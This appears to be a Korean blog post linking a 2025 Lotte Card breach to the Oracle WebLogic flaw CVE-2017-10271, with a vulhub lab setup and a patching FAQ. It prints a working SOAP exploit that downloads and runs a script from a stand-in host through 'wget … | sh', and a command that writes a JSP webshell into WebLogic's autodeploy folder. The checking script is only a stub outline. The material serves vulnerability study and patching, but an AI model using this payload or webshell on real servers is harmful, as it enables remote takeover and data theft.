2025년 8월, 롯데카드의 내부 결제 시스템에서 약 1.7GB의 데이터가 유출되는 사고가 발생했습니다. 다행히 이는 랜섬웨어 공격으로 이어지지 않아 서비스 이용에는 큰 지장이 없었습니다. 이번 사건의 원인은 Oracle WebLogic Server의 원격 코드 실행(RCE) 취약점인 CVE-2017-10271에 있습니다.
해킹 경로와 취약점 개요
Oracle WebLogic Server란?
WebLogic은 Java EE 기반의 애플리케이션 서버 플랫폼으로, HTTP 웹 서버, 포털, 애플리케이션 통합 서비스 등을 포함합니다. 관리자는 WebLogic Scripting Tool(WLST)을 통해 원격으로 서버를 관리합니다. 기본적으로 T3 프로토콜을 사용하며 7001 포트를 통해 요청을 수신합니다. 그러나 이 과정에서 사용자가 직렬화된 객체를 서버로 전송할 수 있어, 해당 취약점이 존재할 경우 입력값 검증이 부족하여 공격자가 임의의 명령을 실행할 수 있습니다.
영향 받는 WebLogic 버전
- 10.3.3.0
- 10.3.6.0
- 12.2.1.1
- 12.2.1.2
- 12.1.3.0
취약점 기술적 분석
CVE-2017-10271 취약점은 SOAP 프로토콜을 이용한 XML 페이로드 처리 과정에서 발생합니다. 공격자는 SOAP Request의 특정 태그에 악성 데이터를 삽입할 수 있으며, WebLogic 서버가 이를 검증하지 않고 실행하게 됩니다. 특히, WS-Coordination 및 WS-AtomicTransaction 기능에서 data가 xmlDecoder.readObject()를 통해 검증 없이 역직렬화되면서 공격자가 삽입한 객체가 실행될 수 있습니다.
실제 공격 패킷 예시
아래는 공격자가 사용할 수 있는 SOAP 요청의 예시입니다.
xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>wget -q http://malicious.site/pkgs.sh -O- | sh</string></void>
</array>
<void method="start"/>
</java>
</work:WorkContext>
</soapenv:Header>
</soapenv:Envelope>
위의 XML 요청은 외부 서버에서 악성 스크립트를 다운로드하고 실행하는 동작을 수행합니다.
취약점 점검 방법
점검 환경 설정
- 도커를 이용하여 WebLogic 환경을 설정할 수 있습니다.
- 아래 명령어를 통해 환경을 구성합니다.
bash
docker run -d -p 7001:7001 vulhub/weblogic:10.3.6.0-2017 - 기본 로그인 정보는
weblogic/Oracle@123입니다.
취약점 점검 스크립트
CVE-2017-10271 취약점을 점검하기 위한 Python 스크립트를 작성할 수 있습니다. 아래는 기본적인 스크립트의 구조입니다.
“`python
import requests
from urllib.parse import urlparse
def validate_url(url):
# URL 유효성 검증 코드
def check_weblogic_service(base_url):
# WebLogic 서비스 존재 여부 확인 코드
def payload_command(command_in):
# SOAP 페이로드 생성 코드
주 함수
def main():
# 사용자가 입력한 URL에 대한 점검 로직
“`
웹쉘 생성 및 실행
JSP 웹쉘을 생성하여 원격에서 명령을 실행할 수 있습니다. 아래의 명령어로 웹쉘을 생성할 수 있습니다.
bash
printf '%s\n' '<%@ page import="java.util.*,java.io.*"%>' '<%' '%>' '<><BODY>' 'Commands with JSP' '<FORM METHOD="GET" NAME="myform" ACTION="">' '<INPUT TYPE="text" NAME="cmd">' '<INPUT TYPE="submit" VALUE="Send">' '</FORM>' '<pre>' '<%' 'if (request.getParameter("cmd") != null) {' 'out.println("Command: " + request.getParameter("cmd") + "<BR>");' 'Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));' 'OutputStream os = p.getOutputStream();' 'InputStream in = p.getInputStream();' 'DataInputStream dis = new DataInputStream(in);' 'String disr = dis.readLine();' 'while ( disr != null ) {' 'out.println(disr);' 'disr = dis.readLine();' '}' '}' '%>' '</pre>' '</BODY>' > /root/Oracle/Middleware/user_projects/domains/base_domain/autodeploy/shell/redchupa.jsp
자주 묻는 질문
롯데카드 해킹 사건의 원인은 무엇인가요?
이번 해킹 사건은 Oracle WebLogic Server의 CVE-2017-10271 취약점 때문입니다.
어떤 WebLogic 버전이 취약한가요?
10.3.3.0, 10.3.6.0, 12.2.1.1, 12.2.1.2, 12.1.3.0 버전이 취약합니다.
취약점 점검을 위해 어떤 도구가 필요하나요?
Python과 requests 라이브러리를 사용하여 취약점을 점검할 수 있는 스크립트를 작성할 수 있습니다.
점검 후 조치는 어떻게 해야 하나요?
즉시 WebLogic 보안 패치를 적용하고, WSAT 서비스 비활성화를 검토해야 합니다.
웹셸을 통해 어떤 작업을 할 수 있나요?
웹셸을 통해 원격에서 명령을 실행하고, 시스템 정보 및 파일을 조회할 수 있습니다.
이전 글: 황영웅 대구 콘서트 예매 안내

